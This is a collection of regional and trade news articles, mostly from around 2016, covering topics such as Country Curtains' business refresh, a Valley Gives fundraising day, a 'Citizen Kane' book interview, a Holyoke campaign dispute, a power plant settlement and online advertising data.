Country Curtains today has 450 employees and ships more than 3,000 items a day from its Lee distribution center. One factory is right down the road in the mill village of Housatonic. Other production work happens in Connecticut.

They send out 1.5 million catalogs a year, with most of the art shot in a new studio in Lee and all of the production and color-correcting done there as well. Technicians use a special table with lights balanced to match sunlight as they correct the color catalog and website photos. The bolt of cloth -- and the curtains to be made from it -- has to match the photo.

Now the curtain is going up on a new version of the family-owned company with updated designs, an expanded line that includes bedding, more social media engagement and updated retail locations that encourage customers to "play" and experiment with their window treatment options.

Those options now range from the classic, high-selling "weavers cloth" models that start at $36.99 to the new faux-roman shades or trendy tie-ups meant to look fancier than they really are.

"It looks like you have this fancy valance, but its very easy and simple," Clancy said. "The new look in windows is to layer the window with a number of different fabrics and textures."

Don't expect to radical a change, however.

"We're country," said Clancy, a retail veteran of Walmart and other employers who took the job in February. "This is country today. But we are never going to be sleek with a lot of chrome fixtures. It's just not us."

What's next?

Motorized window treatments, Clancy said. An energy-conscious emphasis on insulation and blocking the sun. And a new push beyond window treatments and furniture into bedding.

Research shows, said director of marketing and analytics Shane Wirta, that the average woman changes out bedding like comforters and pillows much more often than she changes her window treatments.

"That's a growth area for us," he said.

But a logical one in keeping with company traditions, Clancy said. She pointed to the traditional ball-fringe Jane Fitzpatrick included on many of her curtain designs. Now, the company has it included around pillow covers and bedspreads.

The Fitzpatricks built the business by taking out an ad in Yankee Magazine offering those unbleached muslin curtains.

The Fitzpatricks moved to Stockbridge in 1958 and grew the business into the country's first mail-order specialty curtain company. They went on to own Red Lion Inn in Stockbridge and Blantyre, an exquisite, Gilded Age mansion in Lenox that they converted into an upscale hotel.

Jack Fitzpatrick was a Republican state senator.

Both Fitzpatricks have died.

Their daughter, Nancy Fitzpatrick, still takes an active roll in the business and ran Country Curtains on an interim bases before Clancy was brought on board.

Clancy took over as CEO in February. She'd been on the board following a long career in retail starting at Filene's in Boston and including stints at TJX and Walmart.

It's retail experience that helps her understand where Country Curtains is now and what it needs to do, in person and online, to engage its customers.

"It's about engaging with a woman, meeting her where she lives, and helping her decorate her space," Clancy said.

Folks at Country Curtains are not shy about referring to their customers -- hypothetical or real -- as "she." Clancy said 80 percent of all purchasing choices -- whether its automobiles or toothbrushes -- are made by a woman or influenced by a woman.

"For window treatments, that goes up to about 95 percent.

Clancy said the company's refresh includes getting rid of stale inventory in styles consumers don't want anymore and reaching out on social media, especially on Pinterest, a photo-sharing site popular with crafters and decorators.

"For our customer, that is where she is creating boards about her projects," Clancy said.

The average order at Country Curtains is $150, a number skewed, Clancy said, by people who pick up a curtain rod or a small occasional table from the furniture collection. A room's worth of custom curtains might run $4,000.

The Country Curtains distribution and office center seems like one large project in perpetual motion.

In one office, a salesperson shows off strips of bamboo to product buyers hoping his material gets picked for an upcoming product line. Bolts of cloth are stacked in hallways. Finished curtains line the walls.

Most of the fabric and other materials are made in the United States, Wirta said.

"For some of the small hardware items, the curtain rods, it's hard to find them made in the United States."

When Country Curtains employees make a curtain, they make both panels together at the same time so the lengths match exactly and the fabric used comes from the same batch, ensuring no small variations in color.

Distribution center employees stride up and down long rows picking those orders. Orders that come in by morning leave on a truck that afternoon.

Wirta said the catalog no longer has an order form in it. Less than half a percent of orders were coming in that way over the past decade or so.

"Once, that was how people bought things. They mailed in the form. It used to be we taped coins together and mailed people back their change," he said.

Today, orders come in online or by phone. Operators stationed in curtain-clad cubicles in Lee stand by 24-7 not only to take orders but to explain what goes where and how to properly measure a window for curtains.

So why have a catalog at all?

Wirta said getting that Country Curtains catalog in the mail -- they were finalizing June -- is that small impetus that gets a customer thinking curtains. She sees the catalog in the mail box, sits down with it, then goes online or picks up a phone to order.

And those tantalizing photos in the catalog?

That photo of a perfect beach house so inviting you can smell the lobsters boiling and hear the gulls in the distance? It was shot on a stage set in a converted garage in a Lee industrial park just up the road from headquarters. Jack Fitzpatrick kept the family boat and his antique fire engine there.

The studio was Wirta's brainchild. He used to have to go to New York City to supervise shoots. If the crew needed an extra pillow or something in a different color, it had to be shipped from the warehouse in Lee.

"It is not real," said creative director Jennifer Bianco. "But it can be, if you buy our products. That's our goal, to make these rooms look so comfortable and warm and inviting you think you can just walk right in."
SPRINGFIELD -- Valley Gives -- the Pioneer Valley's day-long, social-media-driven fundraising push -- will return Tuesday, May 3, after a 16-month hiatus.

Organizers already have more than 500 charitable organizations and nonprofits signed up for the Valley Gives Day 2016, said Michael DeChiara, senior program officer for capacity at the Community Foundation of Western Massachusetts. Valley Gives is also running an online video contest this year.

A list of charities is available at valleygives.wordpress.com. The fundraising page is valleygives.razoo.com.

The idea is to energize charitable giving through the use of a day-long event and coordinated campaigns and social media like Facebook and Twitter.

This year -- with a date in May instead of December -- the Community Foundation is encouraging organizations to host showy outdoor demonstrations.

For example, Greater Springfield Habitat for Humanity will host "Men can cook 2016." Blue Star Equiculture in Palmer is using Valley Gives Day to draw attention to its spring compost sale.

There is also an added emphasis on matching challenge donations, with timed challenges where the crowd is challenged to meet a set goal in a set time period and rewarded by having their donations matched if they meet the goal.

"People want to leverage their giving. If they see that $1 is going to become $2, they are more likely to give," DeChiara said.

Valley Gives will also make donations available from its "prize fund." For example, if a charity matches a $2,500 donation by raising $2,500, Valley Gives will enter that charity in a drawing for an additional $2,500. That would make a potential windfall of $7,500.

Valley Gives has collected a $185,000 prize pool of money available to participating charities.

In another change for this year, Valley Gives will provide donors with the option of covering some of the fundraising costs incurred.

The Community Foundation works with Razoo, a California company that hosts the fundraising website and processes credit card payments online. Razoo charges charities 6.9 percent on each transaction to process the transaction, DeChiara said.

This year, donors have the option of rounding up their gifts by 6.9 percent so they cover the charge.

"So if you want the organization to get $100, you give $107," DeChiara said.

Valley gives bought in a record $2.7 million in donations on Dec. 10, 2014, with the help of 14,000 donors making more than 28,000 individual gifts. There were 436 participating charities in Hampden, Franklin and Hampshire counties.

Since Valley Gives began in 2012, $5.8 million has been raised from more than 24,000 donors in support of a total of 559 nonprofits over the years.

Valley Gives allows smaller charities, often those run solely by volunteers, the ability to raise money online, DeChiara said.

Razoo and Valley Gives now allows peer-to-peer fundraising, where individuals create a page to solicit funds for their favorite cause.

"If you tell your story about how an organization's service helped you or why they inspire you ... its your voice," DeChiara said. "It's personal."

Valley Gives will also host a video contest, asking folks to make 30-second social media videos telling the world why they support the cause they support.

"A lot of it is about celebrating the Valley and the value of these organizations," he said.

The winner will be determined by online "likes" and earn a donation for the winning video-maker's cause.
Orson Welles trudged a rocky road into the Palace Theatre in New York on May 1, 1941 for the world premiere of "Citizen Kane."

RKO Radio Pictures had given the 25-year-old actor-director-producer considerable control in making his cinematic debut, which he co-wrote with Herman Mankiewicz. But along the way Welles had drawn the ire of newspaper magnate William Randolph Hearst, who saw the film's title character as a thinly veiled portrait of himself.

Welles' character was assailed by Hearst loyalists and RKO Pictures was called upon to scrap the film.



The writing, production and troubled release of what has been called the greatest movie of all time is chronicled in Harlan Lebo's new book "Citizen Kane: A Filmmaker's Journey," which arrives in stores on Tuesday.

Lebo, who produced a "Citizen Kane" coffee-table book 25 years ago and served as a consultant for the movie's 50th anniversary theatrical release in 1991, delves into the making of the movie and the efforts Hearst took to destroy the film and its director.

The amount of control Orson Welles had over "Citizen Kane" was unprecedented. Why was RKO Pictures so willing to grant that much power to a newcomer?

When George Schaefer was brought to RKO as production chief, he had an ambitious plan to produce more high-quality, prestige films. That plan included hiring new talent who were successful in other artistic ventures - but not necessarily in filmmaking. Welles was high on Schaefer's priority list, not just because of the creative abilities Welles showed in radio and theater, but also because he had such a high national profile after the controversy caused by "The War of the Worlds" broadcast.

But to get Welles, Schaefer had to dangle attractive bait, which meant giving Welles what he really wanted: authority, rather than a lot of money. The deal was eventually made, after months of negotiating, by providing Welles with near-total creative control, not "complete" creative control as the conventional story goes... Most important, Welles retained the right to the final cut of his projects, as long as they didn't exceed specific budget limitations. As a result, Welles got the creative power he wanted because of George Schaefer's grand plan for the studio, and Schaefer was willing to take the risk that Welles would not be a complete flop. But I also have to think that giving Welles such unprecedented control was also a statement about Schaefer's arrival - that things at RKO were changing in a big way.

What documents have you cited in your research that previous authors either overlooked or could not access?

That's a great question, because it reinforces a point that surprises everyone: the reason that other authors haven't used most of this material is that my book represents the first time that anyone has written a non-fiction narrative with the full story of the making of "Citizen Kane." There are a lot of books about Welles, and plenty of analysis of the film in print. But until now no one had written a straight-forward non-fiction account of the background, creation, and release of the "Citizen Kane."

My coffee-table book written for the 50th anniversary of "Citizen Kane" in 1991 came closest, but my new book is definitely for reading and not looking at pictures; it is a standard-size hard cover with 50,000 more words than the 1991 coffee-table book - and is also available in a Kindle version and audio.

I started out with almost 4,000 pages of studio files, memos, script drafts, letters, and financial records. The one notable exception was the lucky coincidence of writing this book at precisely the moment that a large collection of material from Orson Welles' personal collection was offered at auction by Profiles in History. The staff at Profiles in History was incredibly generous, and allowed me to spend a lot of time looking at all of the auction items, including photographs from the production that have never been available before, and three scripts from "Citizen Kane" that included Welles' personal notes. These items were invaluable in adding depth to the detail in my book, and should be quite interesting for readers.

Recently, Frank Mankiewicz's posthumous memoir "So As I Was Saying" received a great deal of attention for repeating the debunked claim that Welles did not write a single word of the "Citizen Kane" script and it was solely the creation of his father, Herman Mankiewicz. Are you surprised that this allegation has refused to die?

No - I'm not surprised in this case. Frank Mankiewicz was just repeating the claim based on things his father told him in the years just before his death, when Herman was suffering from the ravages of pills and alcohol, and told many stories that didn't make much sense.

For instance, Herman told Frank that the source of the name Rosebud was a childhood bicycle that was stolen from Herman when he was a child - this story relayed to Frank after Herman testified in federal court that the reference to Rosebud came from the name of a horse - Old Rosebud - that he bet on in the 1914 Kentucky Derby - interesting that in the projection room scene in "Citizen Kane," one of the reporters speculates about Kane that Rosebud was "a horse he bet on once." And of course, all of this is colored by the other possible source of the Rosebud reference, which was supposedly Hearst's nickname for (mistress) Marion Davies' genitalia - a tidbit that Herman reportedly heard from Louise Brooks. I describe all of these in my book, but at this point we have no way of knowing which one is true.

But none of this is news, and it's a shame that a reporter as good as Frank Mankiewicz did the same thing that (New Yorker critic) Pauline Kael did, although not for the same reasons: He ignored easily-available factual evidence that showed Welles wrote large parts of the script, including many of the significant scenes. Had Frank been alive when the book came out, I think he would have been embarrassed by the loss of credibility that his repeating a story long dead would have caused.

Your book makes the case that Hearst was directly involved in trying to block the film's distribution and destroy Welles' career. What evidence did you find?

In the Hearst papers in the Bancroft Library are several examples of two types of memos: first, communications from Hearst's personal assistant Joseph Willicombe with orders to every Hearst unit to boycott of RKO and "Citizen Kane" - orders which were described as coming directly from "The Chief," as Hearst was known by his cronies.

Second, there is at least one example  I quoted this one in my book  of film columnist Louella Parsons writing to Hearst about her progress in working to stop the film, and Willicombe reporting back that Hearst was informed of what she was doing.

Of course, when Hearst publications started covering Welles' involvement in liberal causes, it would have been impossible for "The Chief" to have not known - just as it would have been hard for Hearst to have missed the massive print coverage of his organization's plot against the film that was being regularly reported in The New York Times, most other national media, and all of the film industry publications.

So even if the direct evidence of his involvement didn't exist, he certainly must have known what was happening.

Welles seemed to blame it on those around Hearst. Do you think we was being naive or trying not further incur Hearst's wrath?

I don't think it was naive, and it was certainly too late to avoid Hearst's wrath! I think that Welles had an uncanny understanding of powerful male figures - which is why most of his films are about dynamic men, almost all of whom become failures through their own foibles. Welles probably assumed that the stooges who work for a powerful person often do things either to protect the boss or to solidify their own positions within the organization.

Welles never said that Hearst didn't know about the plot; he just said that Hearst didn't order it. But what was left unsaid in those comments was that any organization that would plot against a work of art the way the Hearst organization attacked "Citizen Kane" speaks volumes about the character of the organization - and especially about the man who runs it.
NORTHAMPTON -- A Northampton Community Television member has brought some lighthearted humor into the talk surrounding the city's downtown vacancies.

The community media center released a parody of the 2004 film "Downfall" this week -- a popular spoof that's been recycled countless times over the past decade -- in which Adolf Hitler and his advisers discuss the perceived fragile state of the downtown economy.

"Northampton used to be a mecca for intellectual art and style," Hitler bemoans in the video. "Now it's a teenage wasteland with bad parking."

Northampton Community Television released the parody through its YouTube channel, but it was created by John Riley, a member of the organization.

"Northampton Community Television is a resource and supports the entire community. It empowers expression of all kinds within legal boundaries. That includes political speech, artistic expression, absurd and humorous, documentary, personal, and public expression," NCTV executive director Al Williams said in a statement after the video was released. "That expression can be controversial. We do not judge the intention of that content. We believe dialogues and storytelling are important and vital to vibrant and healthy individuals and communities."

"Content generated through this resource does not reflect any organizational views whatsoever," he later added.

In the video, General Hans Krebs warns Hitler that "Easthampton is on the rise and Greenfield is threatening from the north." The Nazi dictator replies, "Can we cut off PVTA bus service to those renegades?"

"They don't need PVTA," Hitler responds in a menacing tone. "Tourists are actually choosing to go there instead of Northampton."

Hitler goes on to nitpick hot talking points on downtown Northampton -- high rent, retail competition from Amazon and the Hampshire Mall in Hadley, and, of course, expensive beer.

"Nobody can afford to live in town anymore ... We're turning into ... Longmeadow!," Hitler shouts.

Hitler seems to lose all hope for Northampton by the end of the scene.

"I'm moving to Holyoke," he says, dejected.

Watch the full video above.
office.listing.jpg

The above shows the office listing at the Holyoke Transportation Center at 206 Maple St. O'Connell Care at Home leased, but never occupied, space at the facility from October to March, officials said.

(MIKE PLAISANCE / THE REPUBLICAN)

HOLYOKE -- In the heat of a campaign for mayor, Fran O'Connell announced in September that his business O'Connell Care at Home was opening an office downtown to demonstrate "our commitment, as a good corporate citizen, to the city of Holyoke."

But O'Connell's business never actually occupied the downtown space, according to officials who handle the property's leases.

The announcement that O'Connell Care at Home would lease an office at the Holyoke Transportation Center at 206 Maple St. came as O'Connell was catching criticism for having moved his Holyoke-borne business from its longtime Bobala Road site to Springfield.

O'Connell at the time denied the downtown office announcement -- less than two months before the election -- was a vote-grab. O'Connell lost the election on Nov. 3 to incumbent Mayor Alex B. Morse.

On Thursday, O'Connell said that what happened with the space at the Holyoke Transportation Center was not political but the normal, ongoing evaluation of resources done by a business.

"O'Connell Care at Home has been in business since 1987. It is our cooperate philosophy to make decisions based on what is best for our customers and employees," Connell said in an email.

"I believe this philosophy has enabled us to remain a successful and viable business in a very competitive market .

"So, to address your question regarding when, where and for how long we open an office, it is directly related to the needs of our customers and employees and would not be politically motivated," he said.

Morse won a third term by defeating O'Connell 53 percent to 47 percent.

In a debate Oct. 15 at Holyoke High School, Morse fired back after O'Connell had said businesses were avoiding Holyoke like the plague, which Morse was untrue.

"The only business avoiding Holyoke like the plague is O'Connell Care at Home," Morse said that night.

Asked for comment Thursday about his former opponent's company never having occupied an office despite declaring a commitment to do so, Morse said, "I can't speak for Fran, but I do wish him and his business well."

JoAnne L. Rome, marketing director at Holyoke Community College (HCC), which leases the part of the transportation center that has offices, said that O'Connell told Jeffrey Hayden, HCC vice president of business and community services, last fall that O'Connell Care at Home was planning a one-year lease of the space. The cost was $3,600 for the year, Rome said.

Fran O'Connell

O'Connell told Hayden he would catch up with him after the mayoral campaign. In February, when Hayden hadn't heard from O'Connell and the office remained unoccupied by O'Connell Care at Home, Hayden contacted O'Connell. O'Connell said the company would pay the lease obligation for October to March, six months, or $1,800, Rome said.

Shortly after, an official with O'Connell Care at Home contacted HCC and said the company had determined the office didn't suit its needs, she said.

"As of now, they are not considered tenants there," Rome said.

The building at the transportation center that HCC leases is called the Picknelly Adult & Family Education Center. Tenants include HCC programs and a Holyoke Springfield Chicopee Head Start program office.

Hayden said the preference is for a tenant that will have a synergy with other tenants instead of paying for but not occupying space, Rome said.

O'Connell's pursuit of a new site for his business here was an issue in the campaign for mayor. He told The Republican and MassLive.com in an interview May 1, 2015 that he tried to find a suitable location, including bidding on a vacant lot at Hampden and Pleasant streets, but that the Morse administration "dropped the ball" by failing to do enough to keep a home-grown business in Holyoke.

Morse has said that that was untrue and that the city worked hard to find a new site for O'Connell Care at Home.

O'Connell Care at Home had been relocated to the Springfield Technology Park for a few months when O'Connell was asked in September about his business leasing space at the transportation center.

"The relocation of our Holyoke corporate office from Bobala Drive (in Holyoke ) into a new downtown Holyoke office demonstrates our commitment, as a good corporate citizen, to the city of Holyoke," O'Connell said.

O'Connell said then that his company's office at the Holyoke Transportation Center and the facility in Springfield combined would serve as O'Connell Care at Home headquarters.

With a master's degree as a family nurse practitioner, O'Connell founded the business in 1987. The intent is to do as the title says, to let elderly people age in their own homes instead of moving to a nursing home, he has said.

The home care includes overnight stays, grocery shopping, wound care, laundry, dusting and supervising medication. Care can range from an hour a week to round-the-clock care seven days a week. It includes transportation to medical appointments and activities like family weddings.
berkshire power plant.JPG

"Nobody was ever notified of what had happened," Agawam City Councilor Robert Rossi told The Republican on Thursday, referring to legal issues at Berkshire Power Co., which has agreed to pay millions for violating the Clean Air Act. Agawam officials are frustrated that they were largely kept in the dark about criminal and civil cases involving the Agawam facility.

(Don Treeger / The Republican File Photo)

AGAWAM  City Councilor Robert E. Rossi and his colleagues were largely left in the dark about problems at the Berkshire Power Plant, whose operators have agreed to pay millions in civil and criminal fines.

"Nobody was ever notified of what had happened," Rossi told The Republican on Thursday. "I think we do have a vested interest in what goes on."

That is why leaders of this city of 29,000 were disheartened to learn about state and federal investigations of Berkshire Power Co.  the owner of the Berkshire Power Plant and Power Plant Management Services Inc., the plant manager  by reading The Republican and MassLive.com. The Agawam officials said they would rather have been kept apprised of any developments in the case by state and federal officials, who have cited ongoing litigation as the major reason for not divulging details.

Looking to the future, local officials hope to change the way such matters are handled. "We want to be notified if there are any problems at that plant in the future," said city Councilor Richard Theroux, who is running for state representative in Agawam, Southwick and Granville.

"We have no rapport with the people up there," Theroux said of the power plant, criticizing plant management and government regulators for maintaining radio silence. "They should have nothing to hide," he said.

When the plant first came to Agawam, "there was a lot of apprehension here in this community," Rossi said. That apprehension was exacerbated by news that Berkshire Power had violated the Clean Air Act by tampering with emissions equipment and submitting false information to regulators. But when city councilors tried to learn more, they were often shut out of the conversation. "I think that, in the future, Agawam has to be in the loop," Rossi said.

Theroux agrees with his colleague. "This happened in our community and we knew nothing about it," he said. "Because this plant is in our community, I believe it's a travesty that the state didn't inform us."

Being kept in the dark is only half the problem. The bigger problem is the settlement money, none of which goes to the city of Agawam, according to Theroux. "Not a dime. It's like a one-two punch," he said. The first punch is the lack of formal notification about problems at the plant, he said, and the second is the lack of mitigation funds for Agawam.

"The final issue, and the final insult of this, is that the settlement money ... doesn't go to the very people who might be affected  the people of Agawam," Theroux said.

All told, Berkshire Power Co. and the former plant operation and maintenance companies that ran the facility must pay $8.5 million in civil and criminal fines to end state and federal investigations. Some of that money will go to the American Lung Association and be used for installation of electric vehicle charging stations, but "it should go to the people of Agawam," Theroux said.

The federal and state governments have jurisdiction over the regulation of power plants in Massachusetts. The city of Agawam does not have regulatory powers over the plant and was not included as a party in litigation against the plant and its former owners and managers, according to the Agawam Law Department, which recently issued a memo on the matter.

"Furthermore, given the criminal nature of some of the charges, a grand jury was convened to indict the former owners and operators. Because of the secretive nature of the proceedings, the City was not informed of the actions taken by the U.S. Attorney's Office and the Attorney General's Office," town counsel stated in the memo.

Officials from the Massachusetts Department of Environmental Protection and the office of Attorney General Maura Healey told city officials that, despite the power plant's legal troubles, "there have been no known quantities of harmful emissions measured," the memo stated.

The city reached out to state Assistant Attorney General Fred Augenstern and Alicia Pradas-Monne, Healey's government policy adviser, to get a better understanding of the litigation. Although a settlement has been reached in several of the civil claims, the criminal litigation is ongoing, which is why Healey's office was limited in what it could share with Agawam officials, according to the memo.

Earlier this month, city officials met with MassDEP officials, who affirmed that no harmful emissions occurred as a result of the power plant's illegal practices. As soon as Agawam Mayor Richard A. Cohen and city officials learned of the problems at the plant, they pounced on the issue, seeking information from the state and receiving assurances there were no health risks associated with the plant, which is under new ownership.

"The mayor's No. 1 concern is the health and safety of the citizens of Agawam," Patrick Toney, Agawam city solicitor, said Friday.
To build 21st century workforces in key S&T sectors, several new public-private initiatives have been launched in South Carolina, New Jersey, Utah, and Montana. These initiatives are intended to better align the educational training of students with the needs of industries that each respective state has identified as a key industry cluster. Target industries include advanced manufacturing, aerospace, biotechnology, chemistry and plastics, and cyber security.

Montana

In Montana, Flathead Valley Community College (FVCC) received over $400,000 to encourage and prepare high school students for a career in biotechnology. Via a grant from the National Science Foundation, the TeaM SCoRE Biotechnology: Teachers in Montana Strengthening the Continuity of Rural Education in Biotechnology initiative is intended to bolster the school-to-workforce pipeline in the field of biotechnology. The three-year project is intended to train and equip 24 life sciences teachers from high schools throughout Northwest Montana to deliver biotechnology curriculum in their classrooms via DNA barcoding experiments. Teachers and students will have access to lab equipment purchased with the grant money.

Full Story: http://ssti.org/blog/sc-nj-others-announce-funding-industry-specific-workforce-development?utm_source=SSTI+Weekly+Digest&utm_campaign=966f57f4d0-SSTI_Weekly_Digest_4_21_2016&utm_medium=email&utm_term=0_ecf5992d4c-966f57f4d0-212414005
Canon Central & North Africa , the leading provider of imaging technologies and services will be participating at Gulf Print & Pack (GPP) 2022 and showcasing its entire range of state-of-the-art technologies and innovative solutions, while highlighting the latest trends within the print industry.

In keeping with global trends in a post-pandemic era, where customer demand has shifted towards digital technologies, Canon will be spotlighting its digital printing technology, inkjet capabilities, wide format technology and complete workflow, from pre-press to post-press technology, spanning various industries including packaging, labelling, and retail.

As a market leader at the forefront of cutting-edge technology, Canons presence at GPP will reflect its position as a 360* provider of hardware, software and services for all printing needs and the line-up will include: all toner-based cut sheets, spanning the imagePRESS color and varioPRINT black & white series, the wide format range, including the flatbed Arizona 135, Colorado 1650, and imagePROGRAF range, showcasing both the imagePROGRAF TZ-30000 and imagePROGRAF GP-4000. Offering 5 dedicated zones with live demonstrations that underscore the real-life applications of inkjet, wide format and production printing, Canon will also have dedicated webinars and virtual stand tours for participants who cannot attend in person.

Canon also unveiled one of their latest key products for the first time, at a virtual press conference held today and at an exclusive preview, where visitors got a close and personal to witness the powerful capabilities of the Revolutionary imagePRESS V1000. Setting new standards in production print with the brand-new cut-sheet digital colour press, the imagePRESS V1000 overcomes the day-to-day production challenges faced by commercial printers and incorporates progressive technological features to establish it as the next generation, in the evolution of the imagePRESS family.

Since we began participating at the GPP and as a market leader in print in Africa, we have always understood our customers challenges and businesses. Because of various technological advancements, we always propose the right solution and product to the end customer with this knowledge. As we transition to hybrid ways of working, it has become increasingly important to have hardware in place that can step up to the challenge, providing connectivity, security, and workflow technology to help ensure efficiency. Were doing this by transitioning from offset to digital printing. Canon prioritises our customers needs in everything we do, including providing expert advice on how to reimagine their business opportunities. With the launch of the all-new imagePRESS V1000, we look forward to showcasing the breadth of our portfolio and setting a new standard in production print, said Eiji Ota, Business Unit Director, Canon Central and North Africa.

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Chicken will be the best-positioned protein due to its low price position in times of pressure on consumer spending power but rises in production costs and the long-term impact of COVID-19 threaten to disrupt the sector, according to Rabobank.
by Laurie Sullivan , Staff Writer @lauriesullivan, April 22, 2016

Redesigns don't always work, especially when it comes to ad placement. A lot of effort goes into testing, trial and error. AdGooroo published data analyzing the top 20 automotive industry keywords prior- and post- Google's move to eliminate the paid search text ads down the right rail of the search engine query page.

AdGooroo compares the cost per click (CPC), click-through rates (CTR) and the frequency of ad placements of the top 20 automotive keyword terms from Feb. 1 to Feb. 18 (prior), with those serving up between Feb.19 and March 19, 2016, (post).

The CPC for the top 20 automotive keywords analyzed by AdGooroo rose by an average of 4.01% after Google eliminated the right rail paid search ad space and only served them above or below the organic listings on the left side of the page.

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Seven of the top 20 rose in CPC by double digit percentages, including three Jeep terms. The term "jeep wrangler" rose by 40.39%; "jeep Cherokee," 31.7%;' and "grand jeep Cherokee," 26.53%.

In fact click-through rates for many of the top 20 automotive keywords rose by an average of 13.1% after Google eliminated ads from the right rail of its results pages. The terms "lexus" rose by 35.71%; "Hyundai;" 28.57%; "honda crv," 25%; "Nissan," 24.39%; and "jeep grand Cherokee," 20%.

While mostly all CTRs held up, the CTRs for three of the terms remained flat during the post era when compared with the month prior to the change. Those keywords include audi, ford explorer, and jeep cherokee.

Overall, the findings appear to confirm that fewer advertising opportunities on the search query results page means fewer advertisers. This could explain why Google reported Thursday fewer clicks during the first quarter in 2016, compared with the December 2015 quarter.

The number of advertisers buying up the top 20 automotive keywords fell by an average of 4% after Google eliminated ads on the right rail of search query results page, from an average of 115 advertisers per keyword from pre-days analyzes in February to the post days in February and March.

The terms "mazda" and "jeep cherokee" fell the sharpest, 33% and 24%, respectively, according to AdGooroo data.

Not all keywords from advertisers fell. Advertisers sponsoring the keyword "honda crv" rose by 41% during the month after Google eliminated right rail paid search ads, but "honda c r v" fell by 16%. The keyword "audi" also rose by 17% in the post-right rail period.

In fact five other top 20 automotive keywords increased in advertisers during the post time frame. These words include "cars" rose by 13.89%; "ford," 8.57%; "Subaru," 4.88%; "hyundai," 4.76%; "jeep renegade," 1.54%; and "Nissan." 1.49%.
by Philip Rosenstein , Staff Writer, April 22, 2016

This years presidential election has defied laws of modern political convention in the United States.

A self-proclaimed socialist is now running almost even with his establishment opponent in national polls on the Democratic side of the ticket. On the Republican side, a candidate has emerged who says things incredibly controversial on a regular basis, and apparently the more absurd the rhetoric the more fervent his support becomes.

The two candidates are of course: Vermont Sen. Bernie Sanders and real-estate mogul Donald Trump.

Red, White & Blog spoke with Thomas Ordahl, chief strategy officer at Landor, to get an expert take on why the approaches espoused by Sanders and Trump have worked so well.

The overarching nonpartisan quality that both Sanders and Trump possess in droves is authenticity. According to Ordahl, this authenticity is directly related to a candidate acting or campaigning in unconventional and often unpopular ways, even against ones own interest.

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Trump is deeply unpopular with the majority of voting age Americans, partly due to his views on immigration and border security, but he has stuck to his guns. Sanders espouses a political philosophy (at least in name) that has been anathema to American politics for the better part of the last century to the present, or maybe until nine months ago.

The two most successful candidates right now are not typical politicians, explains Ordahl.

Ordahl notes that similar tactics are being used in the commercial space.

Retail chain REI announced that it would not open on Black Friday, one of the busiest days for shopping all year. This shows compassion and a strong sense of duty to their employees, instead of a single-minded focus on revenues and profits. Translated politically, this means representing the interests of ones constituents, not a unique focus on winning elections.

Both Sanders and Trump have remained true to their core beliefs and policies, despite widespread criticism of both candidates approaches to this election, particularly from their own parties. (Sanders is an Independent, not a Democrat.)

The GOP is already anxious it will lose the support of the enormous pro-Trump movement, forcing some in the establishment to jump on the Trump bandwagon. Democrats may be less worried of Sanders supporters abandoning the party come November, but partys progressive and traditional bases are far from being united.

Why are voters now looking for something different from the norm? There are many answers. Ordahl sees the advent of millennials as a major driver of the desire for something new in the political realm. Millennials are now the largest voting-age demographic group, having surpassed baby-boomers in 2015. They are actively changing the way politics is done in the United States.

Waning are the days of the safe and centrist head-of-state; both parties seem rabid for something new. Instead of the Beats of the 1950s or hippies of the mid-to-late Sixties, millennials can identify with numerous social groups. The suited-up banker, hipster musician, or tech enthusiast could most likely all be found on just one block in Bushwick.

Voters are looking for something personalized and closer to home in the politicians they support. We got extreme versions, this time around, but come 2020 and 2024? Who knows what kind of politician will be the Trump or Sanders next time.
by Paolo Gaudiano , Op-Ed Contributor, April 22, 2016

The online publishing industry is in a state of major turmoil; the relationships that bind advertisers, publishers and readers are increasingly tense and adversarial. I believe that the ad-supported business model is the root problem of online publishing, which will destroy online publishing as we know it today.

In most industries, you have two common business models: Business-to-business or business-to-consumer. A third model, the marketplace, involves three parties, one of which (the marketplace) brings together the other two (consumers and producers). In the real world, stock markets and auction houses are examples of marketplaces. The marketplace model has been successful online, with examples like Etsy, AirBnB, Shutterstock and many more.

Ad-supported publishing is also a three-party model, but different from marketplaces: In this case, readers want content, advertisers want access to readers, and publishers want money to support their operations. But unlike a marketplace, this model creates a misalignment of incentives that is the cause of the problems we are seeing. Let me explain.



The ad-supported model erodes the quality of online publishing. Publishers are supposed to create content, but in an ad-supported world, their number-one goal is to attract readers. This misalignment of incentives means that the primary function of content is to serve as bait, which lowers quality. In the print world, many publishers rely at least in part on subscriptions, which means they still have to generate good content. But when all of your revenues come from advertising, content quality becomes even less important.



The ad-supported model has led to an explosion in the number of publishers. When it became apparent that you could make money online by generating traffic, wannabe publishers rushed to the Internet in droves. And because the barrier to entry is virtually nonexistent, this led to an explosion in the number of publishers, which meant increased competition, which led to increased pressure to generate traffic, which further lowers quality.



There is a misalignment in the skills needed to succeed. Because of the ad-supported model, the skills required to succeed in online publishing have virtually nothing to do with publishing. You will be way more successful if you know how to manipulate social media and leverage ad technology, than if you know how to do research, write, or edit content. This, again, decreases quality.



Advertisers are not affected by crappy content or bad user experience. An additional misalignment of incentives is that advertisers dont care about the quality of the inventory where they serve their ads. Sure, most advertisers dont want their goods promoted next to porn or racist content, but beyond that, if a site drives a lot of traffic with crap content, they dont care. And if advertising ruins the reader experience by cluttering a page and increasing load times, the publisher suffers, but not the advertiser.

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Advertisers do not care about publisher success. If a publisher fails, advertisers have plenty more to choose from. Hence advertisers have no incentive to promote publisher success. In fact, I would argue that they have negative incentive, because the closer publishers become to a commodity, the cheaper the inventory becomes.

The ad-supported model does not care about readers. The final misalignment of incentives is evident in the way publishers and advertisers treat readers. Readers have to suffer through annoying, intrusive ads, and when they rebel by installing ad blockers, they are accused of thievery and unfairness. They have to put up with increasingly crappy content. At the same time, the proliferation of publishers is creating an overwhelming amount of both content and sources of content, which makes it difficult for readers to find what they want.

When you take all of these factors into account, I hope you will see that the outlook is bleak: As long as the ad-supported model persists, online publishing as we know it is doomed to extinction.

Since I am not optimistic that the industry will learn to restrain itself, I look forward to the day the entire system blows up, and someone clever finds a new business model that will replace the current flawed system.
The Washington Post, Friday, April 22, 2016 12:24 PM

While the Sanders team has remained on message, saying that their candidate still has a chance to pry the nomination away from Hillary Clinton, Sanders himself seems to be wavering. During an interview with NBC News, the Vermont Senator acknowledged that his is a hard path to the nomination, and that it is unlikely that he will be able to flip the superdelegates he needs to have a convincing shot at the convention in July.

Read the whole story at The Washington Post 
by Wendy Davis @wendyndavis, April 22, 2016

Handing Apple a victory, a federal judge has dismissed a potential class-action lawsuit filed by iPhone users who alleged that the iOS9 default settings resulted in unexpectedly high mobile data usage.

